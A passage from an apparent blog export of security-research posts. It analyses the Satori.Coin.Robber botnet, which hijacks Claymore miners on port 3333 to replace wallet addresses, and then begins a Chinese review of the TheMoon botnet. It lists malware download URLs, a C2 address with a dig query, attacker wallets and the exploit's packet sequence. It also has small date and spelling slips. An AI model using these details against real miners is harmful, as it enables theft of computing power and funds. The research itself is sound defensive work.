2017年10月版本，[VT报告地址](https://www.virustotal.com/zh-cn/en-US/file/2a41a98e3889c9a1054ecf652e7b036b51d452a89c74d030663c6e7c6efe5550/analysis/)\n\n相同点：\n\n * 代码：均使用了UPX加壳，并且使用了相同的幻数 0x4A444E53，脱壳后大量代码结构类似。\n * 配置信息：配置信息均加密，加密方式相同，且大量配置字符串是一致的。例如 /bin/busybox SATORI，bigbotPein，81c4603681c46036，j57*&jE，等等；\n * 扫描载荷：两者均扫描 37215 和 52869 端口，并且使用了相同的扫描载荷\n\n我们认为这些证据够强，足以将这次的新变种与之前的 Satori 联系起来。\n\n\n不同点：\n\n * 扫描载荷：Satori.Coin.Robber 新增了 3333 端口上针对 Claymore Miner的攻击\n * 扫描过程：Satori.Coin.Robber 使用了异步网络连接(NIO)方式发起连接，这种方式会提高扫描效率\n * C2 协议：Satori.Coin.Robber 启用了一组新的C2 通信协议，会基于DNS协议与54.171.131.39通信。后面会有专门的一节来描述。\n\n下面是一些详细的截图证据展示：\n\n两个版本的样本公用了相同的UPX加壳幻数：\n\n\nSatori.Coin.Robber 在扫描过程中使用了异步网络连接方式：\n\n\n####Satori.Coin.Robber 的新的C2 通信协议\n\nSatori.Coin.Robber 的 C2 ：\n\n * 硬编码的IP地址，54.171.131.39，位于爱尔兰都柏林。\n * 通信协议是基于DNS修改的，可以使用 dig @54.171.131.39 $DNS-QNAME any +short 的方式做一个简单测试，每个$DNS-QNAME对应不同的功能。\n\n整体C2协议列表如下：\n\n\n协议释义如下：\n\n * 客户端请求 w.sunnyjuly.gq，服务器返回 0xB15A5332eB7cD2DD7a4Ec7f96749E769A371572d\n * 客户端请求 p.sunnyjuly.gq，服务器返回 eth-us2.dwarfpool.com:8008\n * 客户端请求 s.sunnyjuly.gq，服务器返回一段字符串 \"Satori dev here, dont be alarmed about this bot it does not currently have any malicious packeting purposes move along. I can be contacted at [email protected].\"\n * 客户端请求 f.sunnyjuly.gq，服务器返回 213.74.54.240。这个请求并不是样本中出现的，是我们的研究人员尝试 fuzzing 后得到的。\n\n最前面两个请求的回应，恰好是 bot 篡改别的挖矿设备后使用的矿池和钱包地址。但是目前阶段，样本中的扫描载荷仍然是硬编码的，并没有使用这里的服务器返回值；\n服务器返回的那段英文，翻译成中文的大意是“我是Satori的作者，现在这个bot还没有什么恶意的代码，所以暂时放轻松。联系我的话，邮件写给[email protected]”\n\n\n####Satori.Coin.Robber 的感染趋势\n我们大体上可以使用三个扫描端口在 ScanMon 上的扫描趋势来度量 Satori.Coin.Robber 的感染范围和趋势。\n\n[37215](http://scan.netlab.360.com/#/dashboard?tsbeg=1513526400000&tsend=1516118400000&dstport=37215&toplistname=srcas&topn=10)、[52869](http://scan.netlab.360.com/#/dashboard?tsbeg=1513526400000&tsend=1516118400000&dstport=52869&toplistname=srcas&topn=10) 和 [3333](http://scan.netlab.360.com/#/dashboard?tsbeg=1513526400000&tsend=1516118400000&dstport=3333&toplistname=srcas&topn=10) 端口上过去30 天的扫描趋势依次如下：\n\n\n\n\n\n\n\n\n总体来看，三个端口上均有扫描暴涨，与本次样本表现能够对应。\n\n * 初始出现时间都在 2018年1月8日附近；\n * 高峰时间都在都在 2018年1月8日～2018年1月8日附近；\n * 最近几天扫描量逐渐下降；\n * 主要扫描来源在 AS4766 Korea Telecom ；\n * 独立扫描源IP地址，约为 4.9k；\n\n噪音方面，37215与52869 端口上，依据1月8日以前的表现，可能有部分扫描来源不属于 Satori.Coin.Robber；但是 3333 端口比较干净，依据1月8日以前的表现来看，噪音较小。考虑到三个端口上的扫描表现趋于一致，我们认为上述数据可以表现当前 Satori.Coin.Robber 的感染趋势。\n\n####结语\n\nSatori 的最初版本虽然已经被安全社区抑制，但是新的继任者已经出现。\n\n新的Satori.Coin.Robber，会扫描别的设备上的挖矿程序，并将钱包地址替换成自己的。这是我们在botnet领域第一次看到这种行为模式。\n\n尽管作者宣称自己当前没有恶意，但是传播恶意代码、未经授权修改他人计算机上的信息、攫取他人计算机算力为自己挖取数字代币，这些行为都是恶意行为。\n\n考虑到12月5日附近Satori在12小时内感染了超过26万IoT设备，当前 Satori.Coin.Robber的感染速度已经远远变低，暂时不用恐慌。\n\n上述感染速度的降低，不应该归因为攻击者刻意降低了扫描的速度，特别是考虑到攻击者启用了NIO技术来加速扫描阶段的效率；而应该归因为安全公司、ISP、供应链设备厂商共同的协作和努力。"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

83

post

2018-01-17T04:22:34.000Z

63873b9a8b1c1e0007f52f09

art-of-steal-satori-variant-is-robbing-eth-bitcoin-by-replacing-wallet-address-en

2018-10-06T09:12:29.000Z

public

published

2018-01-17T08:35:40.000Z

Art of Steal: Satori Variant is Robbing ETH BitCoin by Replacing Wallet Address

<!--kg-card-begin: markdown--><p>The security community was moving very fast to take actions and sinkhole the Satori botnet C2 after our December 5 <a href="__GHOST_URL__/warning-satori-a-new-mirai-variant-is-spreading-in-worm-style-on-port-37215-and-52869-en/">blog</a>. The spread of this new botnet has been temporarily halted, but the threat still remains.</p> <p>Starting from 2018-01-08 10:42:06 GMT+8, we noticed that one Satori’s successor variant (we name it Satori.Coin.Robber) started to reestablish the entire botnet on ports 37215 and 52869.</p> <p>What really stands out is something we had never seen before, this new variant actually hacks into various mining hosts on the internet (mostly windows devices) via their management port 3333 that runs Claymore Miner software, and replaces the wallet address on the hosts with its own wallet address.</p> <p>From the most recently <a href="http://dwarfpool.com/eth/address?wallet=B15A5332eB7cD2DD7a4Ec7f96749E769A371572d&amp;allpayouts=1">pay record</a> till 2018-01-16 17:00 GMT+8, we can see:</p> <ul> <li>Satori.Coin.Robber is actively mining, with lastest update 5 minutes ago.</li> <li>Satori.Coin.Robber owns an average calculation power of 1606 MH/s for the last 2 days; the account has accumulated 0.1733 ETH coins over the past 24 hours</li> <li>Satori.Coin.Robber has already got the first ETH coin paid at 14:00 on January 11, 2017, with another 0.76 coin in the balance</li> </ul> <p>Also worth mentioning is that the author of Satori.Coin.Robber claims his current code is not malicious and leaves an email address(see the section below for more details):</p> <pre><code>Satori dev here, dont be alarmed about this bot it does not currently have any malicious packeting purposes move along. I can be contacted at [email protected] </code></pre> <h4 id="aseriesofsecurityissuesonclaymoreminerremotemanagement">A Series of Security Issues on Claymore Miner Remote Management</h4> <p>Claymore Miner is a popular coin-mining software used by quite a lot of mining devices these days.</p> <p>According to its <a href="https://github.com/nanopool/Claymore-Dual-Miner">document</a>, the Claymore Miner Windows version provides a remote monitoring and/or management interface on port 3333 (the EthMan.exe file in the “remote management” directory). And by default earlier versions allow not only remote reading for mining status, but also operations like restart, upload files and some other control operations.</p> <p>Apparently, the above feature is a security issue. As a fix, after version 8.1, the Claymore Miner will not use port 3333 but -3333 (a negative one) as the startup parameter by default, which means read-only monitoring actions are supported, but other controlling actions are all denied.</p> <p>But this is not the end. In November 2017, <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-16929">CVE-2017-16929</a> went public, which allows remote read and/or write to arbitrary files for Claymore Miner. The corresponding <a href="https://www.exploit-db.com/exploits/43231/">exploit code</a> has also been disclosed.</p> <p>The scanning payload (the exploit code) we are going to discuss here is different from all above though. It works primarily on the Claymore Mining equipment that allows management actions on 3333 ports with no password authentication enabled (which is the default config). In order to prevent potential abuse, we will not discuss too much details in this article.</p> <h4 id="satoricoinrobbervariantisexploitingaboveissuetorobberethcoins">Satori.Coin.Robber Variant is Exploiting above Issue to Robber ETH Coins</h4> <p>From 2018-01-08 to 2018-01-12, have captured the following malware samples:</p> <pre><code>737af63598ea5f13e74fd2769e0e0405 http://77.73.67.156/mips.satori 141c574ca7dba34513785652077ab4e5 http://77.73.67.156/mips.satori 4e1ea23bfe4198dad0f544693e599f03 http://77.73.67.156/mips.satori 126f9da9582a431745fa222c0ce65e8c http://77.73.67.156/mips.satori 74d78e8d671f6edb60fe61d5bd6b7529 http://77.73.67.156/mips.satori 59a53a199febe331a7ca78ece6d8f3a4 http://77.73.67.156/b </code></pre> <p>These samples are subsequent variants of Satori, which scan not only the previous 37215 and 52869 ports, but also the 3333 ports. The payload on on three ports are:</p> <ul> <li><strong>Port 37215</strong>: Known, exploiting vulnerabilities CVE-2017-17215, Huawei recently released the relevant <a href="http://www.huawei.com/en/psirt/security-notices/huawei-sn-20171130-01-hg532-en">statement</a></li> <li><strong>Port 52869</strong>: Known, exploiting vulnerabilities CVE-2014-8361, related to some Realtek SDK, the <a href="https://www.exploit-db.com/exploits/37169/">exploit code PoC</a> is published since 2016</li> <li><strong>Port 3333</strong>: Newly emerged, exploiting ETH mining remote management interface mentioned above.</li> </ul> <p><img src="__GHOST_URL__/content/images/2018/01/port-3333-scanning-payload.jpg" alt="" loading="lazy"><br> The scanning payload on port 3333 is shown in the above image. Satori.Coin.Robber issues three packets respectively:</p> <ul> <li><strong>Package 1</strong>: miner_getstat1, get mining state</li> <li><strong>Package 2</strong>: miner_file, update reboot.bat file, replace the mine pool and wallet address;</li> <li><strong>Package 3</strong>: miner_reboot, reboot the host with new wallet</li> </ul> <p>During this process, the mining pool and the wallet will be replaced:</p> <ul> <li>New pool: eth-us2.dwarfpool.com:8008</li> <li>New wallet: 0xB15A5332eB7cD2DD7a4Ec7f96749E769A371572d</li> </ul> <h4 id="similaritiesanddifferencesbetweensatoricoinrobberandtheoriginalsatori">Similarities and Differences between Satori.Coin.Robber and the Original Satori</h4> <p>Comparison between Satori.Coin.Robber and Satori:</p> <ul> <li>737af63598ea5f13e74fd2769e0e0405 Satori.Coin.Robber</li> <li>5915e165b2fdf1e4666a567b8a2d358b satori.x86_64, the original Satori in October 2017 with VT report <a href="https://www.virustotal.com/zh-cn/en-US/file/2a41a98e3889c9a1054ecf652e7b036b51d452a89c74d030663c6e7c6efe5550/analysis/">here</a></li> </ul> <p><strong>Similarities</strong>:</p> <ul> <li><strong>Code</strong>: Both use UXP packing, with the <strong>same magic number 0x4A444E53</strong>. The unpacked code share similar code structures</li> <li><strong>Configurations</strong>: The configurations are both encrypted. The encryption algorithm and a large number of configuration strings are the same. For example, /bin/busybox SATORI, bigbotPein, 81c4603681c46036, j57*&amp;jE, etc.</li> <li><strong>Scanning payload</strong>: Both scan ports 37215 and 52869 and share the same payload</li> </ul> <p><strong>Differences</strong>:</p> <ul> <li><strong>Scanning payload</strong>: Satori.Coin.Robber added a new payload against Claymore Miner on port 3333</li> <li><strong>Scanning process</strong>: Satori.Coin.Robber adopts an asynchronous network connection (NIO) method to initiate a connection, which improves scan efficiency</li> <li><strong>C2 Protocol</strong>: Satori.Coin.Robber enables a new set of C2 communication protocols that communicate with 54.171.131.39 using the DNS protocol. We will go through the details later.</li> </ul> <p>Below are some detailed screenshots:</p> <p>Both samples share the same UPX packing magic numbers:<br> <img src="__GHOST_URL__/content/images/2018/01/satori_UPX_MAGIC_diff.png" alt="" loading="lazy"></p> <p>Satori.Coin.Robber uses asynchronous network connection for scanning:<br> <img src="__GHOST_URL__/content/images/2018/01/port-3333-non-block-scanning.jpg" alt="" loading="lazy"></p> <h4 id="satoricoinrobbersnewc2communicationsprotocol">Satori.Coin.Robber's New C2 Communications Protocol</h4> <p>C2 of Satori.Coin.Robber:</p> <ul> <li>A hard coded IP address 54.171.131.39, located in Dublin, Ireland.</li> <li>The communication protocol is based on DNS protocol, which can be tested by query like &quot;<a href="mailto:[email protected]">[email protected]</a> $DNS-QNAME any+short&quot;, and different $DNS-QNAME corresponds to different function.</li> </ul> <p>All C2 protocol lists as follows, note the fourth one is not written anywhere in the Satori.Coin.Robber code, we just tied and found it has dns response:<br> <img src="__GHOST_URL__/content/images/2018/01/satori-variant-c2-protocol.png" alt="" loading="lazy"></p> <p>The first two responses are the same mining pool and wallet addresses used by the bot after tampering with other Claymore Miner mining equipment. However, at this stage, it seems that these server returned values is yet to be used.</p> <h4 id="infectiontrend">Infection Trend</h4> <p>We evaluate Satori.Coin.Robber's infection scale and trend by comparing the scanning volumes on three ports: <a href="http://scan.netlab.360.com/#/dashboard?tsbeg=1513526400000&amp;tsend=1516118400000&amp;dstport=37215&amp;toplistname=srcas&amp;topn=10">37215</a>, <a href="http://scan.netlab.360.com/#/dashboard?tsbeg=1513526400000&amp;tsend=1516118400000&amp;dstport=52869&amp;toplistname=srcas&amp;topn=10">52869</a> and <a href="http://scan.netlab.360.com/#/dashboard?tsbeg=1513526400000&amp;tsend=1516118400000&amp;dstport=3333&amp;toplistname=srcas&amp;topn=10">3333</a>.</p> <p><img src="__GHOST_URL__/content/images/2018/01/port-37215-scanning-last-30-days.png" alt="" loading="lazy"></p> <p><img src="__GHOST_URL__/content/images/2018/01/port-52869-scanning-last-30-days.png" alt="" loading="lazy"></p> <p><img src="__GHOST_URL__/content/images/2018/01/port-3333-scanning-last-30-days.png" alt="" loading="lazy"></p> <p>The three figures above show that the scanning volumes of these three ports all increase sharply during this period, which is consistent with the behavior of Satori.Coin.Robber samples.</p> <ul> <li>all emerged around 2018-01-08</li> <li>scanning spikes were all around 2018-01-08 to 2018-01-09</li> <li>the volumes of scanning decrease in recent few days</li> <li>AS4766 Korea Telecom contributes most of the scanning source</li> <li>totally about 4.9K uniq scanning source IPs</li> </ul> <!--kg-card-end: markdown-->

The security community was moving very fast to take actions and sinkhole the Satori botnet C2 after our December 5 blog. The spread of this new botnet has been temporarily halted, but the threat still remains. Starting from 2018-01-08 10:42:06 GMT+8, we noticed that one Satori’s successor variant (we name it Satori.Coin.Robber) started to reestablish the entire botnet on ports 37215 and 52869. What really stands out is something we had never seen before, this new variant actually hacks into various mining hosts on the internet (mostly windows devices) via their management port 3333 that runs Claymore Miner software, and replaces the wallet address on the hosts with its own wallet address. From the most recently pay record till 2018-01-16 17:00 GMT+8, we can see: * Satori.Coin.Robber is actively mining, with lastest update 5 minutes ago. * Satori.Coin.Robber owns an average calculation power of 1606 MH/s for the last 2 days; the account has accumulated 0.1733 ETH coins over the past 24 hours * Satori.Coin.Robber has already got the first ETH coin paid at 14:00 on January 11, 2017, with another 0.76 coin in the balance Also worth mentioning is that the author of Satori.Coin.Robber claims his current code is not malicious and leaves an email address(see the section below for more details): Satori dev here, dont be alarmed about this bot it does not currently have any malicious packeting purposes move along. I can be contacted at [email protected] A Series of Security Issues on Claymore Miner Remote Management Claymore Miner is a popular coin-mining software used by quite a lot of mining devices these days. According to its document, the Claymore Miner Windows version provides a remote monitoring and/or management interface on port 3333 (the EthMan.exe file in the “remote management” directory). And by default earlier versions allow not only remote reading for mining status, but also operations like restart, upload files and some other control operations. Apparently, the above feature is a security issue. As a fix, after version 8.1, the Claymore Miner will not use port 3333 but -3333 (a negative one) as the startup parameter by default, which means read-only monitoring actions are supported, but other controlling actions are all denied. But this is not the end. In November 2017, CVE-2017-16929 went public, which allows remote read and/or write to arbitrary files for Claymore Miner. The corresponding exploit code has also been disclosed. The scanning payload (the exploit code) we are going to discuss here is different from all above though. It works primarily on the Claymore Mining equipment that allows management actions on 3333 ports with no password authentication enabled (which is the default config). In order to prevent potential abuse, we will not discuss too much details in this article. Satori.Coin.Robber Variant is Exploiting above Issue to Robber ETH Coins From 2018-01-08 to 2018-01-12, have captured the following malware samples: 737af63598ea5f13e74fd2769e0e0405 http://77.73.67.156/mips.satori 141c574ca7dba34513785652077ab4e5 http://77.73.67.156/mips.satori 4e1ea23bfe4198dad0f544693e599f03 http://77.73.67.156/mips.satori 126f9da9582a431745fa222c0ce65e8c http://77.73.67.156/mips.satori 74d78e8d671f6edb60fe61d5bd6b7529 http://77.73.67.156/mips.satori 59a53a199febe331a7ca78ece6d8f3a4 http://77.73.67.156/b These samples are subsequent variants of Satori, which scan not only the previous 37215 and 52869 ports, but also the 3333 ports. The payload on on three ports are: * Port 37215: Known, exploiting vulnerabilities CVE-2017-17215, Huawei recently released the relevant statement * Port 52869: Known, exploiting vulnerabilities CVE-2014-8361, related to some Realtek SDK, the exploit code PoC is published since 2016 * Port 3333: Newly emerged, exploiting ETH mining remote management interface mentioned above. The scanning payload on port 3333 is shown in the above image. Satori.Coin.Robber issues three packets respectively: * Package 1: miner_getstat1, get mining state * Package 2: miner_file, update reboot.bat file, replace the mine pool and wallet address; * Package 3: miner_reboot, reboot the host with new wallet During this process, the mining pool and the wallet will be replaced: * New pool: eth-us2.dwarfpool.com:8008 * New wallet: 0xB15A5332eB7cD2DD7a4Ec7f96749E769A371572d Similarities and Differences between Satori.Coin.Robber and the Original Satori Comparison between Satori.Coin.Robber and Satori: * 737af63598ea5f13e74fd2769e0e0405 Satori.Coin.Robber * 5915e165b2fdf1e4666a567b8a2d358b satori.x86_64, the original Satori in October 2017 with VT report here Similarities: * Code: Both use UXP packing, with the same magic number 0x4A444E53. The unpacked code share similar code structures * Configurations: The configurations are both encrypted. The encryption algorithm and a large number of configuration strings are the same. For example, /bin/busybox SATORI, bigbotPein, 81c4603681c46036, j57*&jE, etc. * Scanning payload: Both scan ports 37215 and 52869 and share the same payload Differences: * Scanning payload: Satori.Coin.Robber added a new payload against Claymore Miner on port 3333 * Scanning process: Satori.Coin.Robber adopts an asynchronous network connection (NIO) method to initiate a connection, which improves scan efficiency * C2 Protocol: Satori.Coin.Robber enables a new set of C2 communication protocols that communicate with 54.171.131.39 using the DNS protocol. We will go through the details later. Below are some detailed screenshots: Both samples share the same UPX packing magic numbers: Satori.Coin.Robber uses asynchronous network connection for scanning: Satori.Coin.Robber's New C2 Communications Protocol C2 of Satori.Coin.Robber: * A hard coded IP address 54.171.131.39, located in Dublin, Ireland. * The communication protocol is based on DNS protocol, which can be tested by query like "[email protected] $DNS-QNAME any+short", and different $DNS-QNAME corresponds to different function. All C2 protocol lists as follows, note the fourth one is not written anywhere in the Satori.Coin.Robber code, we just tied and found it has dns response: The first two responses are the same mining pool and wallet addresses used by the bot after tampering with other Claymore Miner mining equipment. However, at this stage, it seems that these server returned values is yet to be used. Infection Trend We evaluate Satori.Coin.Robber's infection scale and trend by comparing the scanning volumes on three ports: 37215, 52869 and 3333. The three figures above show that the scanning volumes of these three ports all increase sharply during this period, which is consistent with the behavior of Satori.Coin.Robber samples. * all emerged around 2018-01-08 * scanning spikes were all around 2018-01-08 to 2018-01-09 * the volumes of scanning decrease in recent few days * AS4766 Korea Telecom contributes most of the scanning source * totally about 4.9K uniq scanning source IPs

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"The security community was moving very fast to take actions and sinkhole the Satori botnet C2 after our December 5 [blog](__GHOST_URL__/warning-satori-a-new-mirai-variant-is-spreading-in-worm-style-on-port-37215-and-52869-en/). The spread of this new botnet has been temporarily halted, but the threat still remains.\n\nStarting from 2018-01-08 10:42:06 GMT+8, we noticed that one Satori’s successor variant (we name it Satori.Coin.Robber) started to reestablish the entire botnet on ports 37215 and 52869. \n\nWhat really stands out is something we had never seen before, this new variant actually hacks into various mining hosts on the internet (mostly windows devices) via their management port 3333 that runs Claymore Miner software, and replaces the wallet address on the hosts with its own wallet address. \n\nFrom the most recently [pay record](http://dwarfpool.com/eth/address?wallet=B15A5332eB7cD2DD7a4Ec7f96749E769A371572d&allpayouts=1) till 2018-01-16 17:00 GMT+8, we can see:\n\n* Satori.Coin.Robber is actively mining, with lastest update 5 minutes ago.\n* Satori.Coin.Robber owns an average calculation power of 1606 MH/s for the last 2 days; the account has accumulated 0.1733 ETH coins over the past 24 hours\n* Satori.Coin.Robber has already got the first ETH coin paid at 14:00 on January 11, 2017, with another 0.76 coin in the balance\n\nAlso worth mentioning is that the author of Satori.Coin.Robber claims his current code is not malicious and leaves an email address(see the section below for more details):\n\n```\nSatori dev here, dont be alarmed about this bot it does not currently have any malicious packeting purposes move along. I can be contacted at [email protected]\n```\n\n####A Series of Security Issues on Claymore Miner Remote Management\n\nClaymore Miner is a popular coin-mining software used by quite a lot of mining devices these days.\n\nAccording to its [document](https://github.com/nanopool/Claymore-Dual-Miner), the Claymore Miner Windows version provides a remote monitoring and/or management interface on port 3333 (the EthMan.exe file in the “remote management” directory). And by default earlier versions allow not only remote reading for mining status, but also operations like restart, upload files and some other control operations.\n\nApparently, the above feature is a security issue. As a fix, after version 8.1, the Claymore Miner will not use port 3333 but -3333 (a negative one) as the startup parameter by default, which means read-only monitoring actions are supported, but other controlling actions are all denied.\n\nBut this is not the end. In November 2017, [CVE-2017-16929](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-16929) went public, which allows remote read and/or write to arbitrary files for Claymore Miner. The corresponding [exploit code](https://www.exploit-db.com/exploits/43231/) has also been disclosed.\n\nThe scanning payload (the exploit code) we are going to discuss here is different from all above though. It works primarily on the Claymore Mining equipment that allows management actions on 3333 ports with no password authentication enabled (which is the default config). In order to prevent potential abuse, we will not discuss too much details in this article.\n\n####Satori.Coin.Robber Variant is Exploiting above Issue to Robber ETH Coins\n\nFrom 2018-01-08 to 2018-01-12, have captured the following malware samples:\n```\n737af63598ea5f13e74fd2769e0e0405\thttp://77.73.67.156/mips.satori\n141c574ca7dba34513785652077ab4e5\thttp://77.73.67.156/mips.satori\n4e1ea23bfe4198dad0f544693e599f03\thttp://77.73.67.156/mips.satori\n126f9da9582a431745fa222c0ce65e8c\thttp://77.73.67.156/mips.satori\n74d78e8d671f6edb60fe61d5bd6b7529\thttp://77.73.67.156/mips.satori\n59a53a199febe331a7ca78ece6d8f3a4\thttp://77.73.67.156/b\n```\nThese samples are subsequent variants of Satori, which scan not only the previous 37215 and 52869 ports, but also the 3333 ports. The payload on on three ports are:\n\n* **Port 37215**: Known, exploiting vulnerabilities CVE-2017-17215, Huawei recently released the relevant [statement](http://www.huawei.com/en/psirt/security-notices/huawei-sn-20171130-01-hg532-en)\n* **Port 52869**: Known, exploiting vulnerabilities CVE-2014-8361, related to some Realtek SDK, the [exploit code PoC](https://www.exploit-db.com/exploits/37169/) is published since 2016\n* **Port 3333**: Newly emerged, exploiting ETH mining remote management interface mentioned above.\n\n\nThe scanning payload on port 3333 is shown in the above image. Satori.Coin.Robber issues three packets respectively:\n\n * **Package 1**: miner_getstat1, get mining state\n * **Package 2**: miner_file, update reboot.bat file, replace the mine pool and wallet address;\n * **Package 3**: miner_reboot, reboot the host with new wallet\n\nDuring this process, the mining pool and the wallet will be replaced:\n\n * New pool: eth-us2.dwarfpool.com:8008\n * New wallet: 0xB15A5332eB7cD2DD7a4Ec7f96749E769A371572d\n\n####Similarities and Differences between Satori.Coin.Robber and the Original Satori\n\nComparison between Satori.Coin.Robber and Satori:\n\n* 737af63598ea5f13e74fd2769e0e0405 Satori.Coin.Robber\n* 5915e165b2fdf1e4666a567b8a2d358b satori.x86_64, the original Satori in October 2017 with VT report [here](https://www.virustotal.com/zh-cn/en-US/file/2a41a98e3889c9a1054ecf652e7b036b51d452a89c74d030663c6e7c6efe5550/analysis/) \n\n**Similarities**:\n\n * **Code**: Both use UXP packing, with the **same magic number 0x4A444E53**. The unpacked code share similar code structures\n * **Configurations**: The configurations are both encrypted. The encryption algorithm and a large number of configuration strings are the same. For example, /bin/busybox SATORI, bigbotPein, 81c4603681c46036, j57*&jE, etc.\n * **Scanning payload**: Both scan ports 37215 and 52869 and share the same payload\n\n**Differences**:\n\n * **Scanning payload**: Satori.Coin.Robber added a new payload against Claymore Miner on port 3333\n * **Scanning process**: Satori.Coin.Robber adopts an asynchronous network connection (NIO) method to initiate a connection, which improves scan efficiency \n * **C2 Protocol**: Satori.Coin.Robber enables a new set of C2 communication protocols that communicate with 54.171.131.39 using the DNS protocol. We will go through the details later.\n\nBelow are some detailed screenshots:\n\nBoth samples share the same UPX packing magic numbers:\n\n\nSatori.Coin.Robber uses asynchronous network connection for scanning:\n\n\n####Satori.Coin.Robber's New C2 Communications Protocol\n\nC2 of Satori.Coin.Robber:\n\n * A hard coded IP address 54.171.131.39, located in Dublin, Ireland.\n * The communication protocol is based on DNS protocol, which can be tested by query like \"[email protected] $DNS-QNAME any+short\", and different $DNS-QNAME corresponds to different function.\n\nAll C2 protocol lists as follows, note the fourth one is not written anywhere in the Satori.Coin.Robber code, we just tied and found it has dns response:\n\n\n\nThe first two responses are the same mining pool and wallet addresses used by the bot after tampering with other Claymore Miner mining equipment. However, at this stage, it seems that these server returned values is yet to be used.\n\n\n\n####Infection Trend\nWe evaluate Satori.Coin.Robber's infection scale and trend by comparing the scanning volumes on three ports: [37215](http://scan.netlab.360.com/#/dashboard?tsbeg=1513526400000&tsend=1516118400000&dstport=37215&toplistname=srcas&topn=10), [52869](http://scan.netlab.360.com/#/dashboard?tsbeg=1513526400000&tsend=1516118400000&dstport=52869&toplistname=srcas&topn=10) and [3333](http://scan.netlab.360.com/#/dashboard?tsbeg=1513526400000&tsend=1516118400000&dstport=3333&toplistname=srcas&topn=10).\n\n\n\n\n\n\n\n\nThe three figures above show that the scanning volumes of these three ports all increase sharply during this period, which is consistent with the behavior of Satori.Coin.Robber samples.\n\n * all emerged around 2018-01-08\n * scanning spikes were all around 2018-01-08 to 2018-01-09\n * the volumes of scanning decrease in recent few days\n * AS4766 Korea Telecom contributes most of the scanning source\n * totally about 4.9K uniq scanning source IPs"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

85

post

2018-01-18T07:18:16.000Z

63873b9a8b1c1e0007f52f0a

themoon-botnet-a-review-and-new-features

2018-10-06T09:03:02.000Z

public

published

2018-01-30T14:11:15.000Z

TheMoon : 一个僵尸网络的老皇历和新变种

<!--kg-card-begin: markdown--><p>TheMoon 是一个恶意代码家族的代号。早在2014年2月，该恶意代码家族就引起了安全研究人员的普遍关注。在当时，TheMoon是一个针对 Linksys 路由器的、有类似蠕虫式传播行为的僵尸网络。由于其感染传播能力较强，安全社区里的讨论较多。</p> <p>2014～2017年期间，又陆续有各安全厂商对TheMoon恶意代码家族做了分析。报告反应了当时 TheMoon 家族的演化情况。</p> <p>从2017年开始，我们也对 TheMoon 家族做了持续跟踪，并注意到以下的新发现：</p> <ul> <li>感染阶段： TheMoon 集成了最近的一组漏洞利用代码，提高其感染能力；</li> <li>运营阶段： TheMoon 的代理网络，由正向代理改为反向代理，避免被安全研究人员探测度量；</li> <li>样本特征： TheMoon 开始使用压缩外壳，提高安全研究人员分析的难度</li> </ul> <p>下文仅仅是我们对 TheMoon 恶意代码家族监控结果的概括描述，详细的技术分析文档可见 <a href="__GHOST_URL__/file/TheMoon-botnet.pdf">TheMoon-botnet.pdf</a></p> <h4 id="2017themoon">2017年以前的 TheMoon</h4> <p>2014-02-13 ，这是我们能查到的 TheMoon 相关最早记录。当时，SANS 安全研究机构的博士 Johannes B. Ullrich <a href="https://isc.sans.edu/forums/diary/Linksys+Worm+TheMoon+Captured/17630">报告发现</a> 了该恶意代码，并在随后给出了<a href="https://isc.sans.edu/diary/Linksys+Worm+%22TheMoon%22+Summary%3A+What+we+know+so+far/17633">更新</a> 。TheMoon家族的一些关键特点，在最初被发现的这个阶段就已经确定下来了：</p> <ul> <li>攻击目标：最初是 Linksys E1000 系列路由器，后续发展也是以 IoT 设备、特别是家用路由器为主。设备目标常见是 MIPS 架构</li> <li>蠕虫式的感染传播：被感染的设备，会在一个较短的时间窗口期内提供二进制下载。这种蠕虫式的感染，这使得其传播能力大大增强</li> <li>简单的自我保护：会设定 iptables 规则限制漏洞利用端口的访问，仅允许作者控制的几个IP地址所在地址段访问，减少被其他攻击者利用相同漏洞的风险</li> <li>命名来源：样本文件内嵌了几张图片，加上文件中的一些其他字符串 &quot;lunar&quot;, &quot;moon&quot;, &quot;planets&quot;，这些共同的信息指向一部2009年的电影 <a href="http://www.imdb.com/title/tt1182345/">&quot;Moon&quot;</a>，这是这个家族被命名为 TheMoon 的原因。</li> </ul> <p>由于该恶意代码家族被定位是蠕虫，这引起了安全社区的广泛讨论。几天之内，相关的设备漏洞和利用代码就被各大安全厂商收录，例如 <a href="https://www.securityfocus.com/bid/65585">securityfocus</a>， <a href="https://packetstormsecurity.com/files/125253">packetstormsecurity</a>, <a href="https://secuniaresearch.flexerasoftware.com/advisories/56994">flexerasoftware</a>， <a href="https://www.vulnerabilitycenter.com/#!vul=43986">vulnerabilitycenter</a>， <a href="https://www.exploit-db.com/exploits/31683/">exploit-db</a>， <a href="https://exchange.xforce.ibmcloud.com/vulnerabilities/91196?spm=0.0.0.0.SsE6B5">IBM X-force</a>，等等。</p> <p>2015-07-16，阿里安全的谢君，在 <a href="https://security.alibaba.com/blog/blog?id=26&amp;type=security"><br> 解密“智魁”攻击行动——针对路由器蠕虫攻击事件分析报告</a> 中，分析了该恶意代码家族当时的变种。这个阶段 TheMoon 家族表现出来的新特征包括：</p> <ul> <li>socks代理：开始利用被感染节点搭建 Socks 代理网络；上述代理网络是主动式的，被感染节点上开启的代理节点有特征可循，文章中根据该特征，对全网扫描并给出了度量；</li> <li>感染手段：开始使用华硕路由器漏洞 <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-9583">CVE-2014-9583</a>，UDP 9999 ，以及 <a href="https://sekurak.pl/tp-link-httptftp-backdoor/?spm=0.0.0.0.aOpRH8">TP-Link路由器漏洞</a>。2014年版本所使用的原有 Linksys 漏洞仍然在利用。</li> <li>文中还列出了若干打码后的 C2 服务器IP地址</li> </ul> <p>虽然文章中通篇没有提及 TheMoon 的名字，但是恶意代码的二进制特征一致，可以判定是 TheMoon 家族。另外，文章中还将攻击行为追溯到具体人，但是这部分的归因过程没有给出具体分析过程，故而这部分的结论待考。</p> <p>2016-10-20 Fortinet 的 Bing Liu 在 <a href="https://blog.fortinet.com/2016/10/20/themoon-a-p2p-botnet-targeting-home-routers">TheMoon A P2P botnet targeting Home Routers</a> 中分析了当时的 TheMoon 恶意代码变种。文中提及了一些新特性：</p> <ul> <li>P2P 特性：代码中集成了P2P 特性（但不成熟，也未启用）</li> <li>C2通信协议：详细的分析了恶意代码的 C2 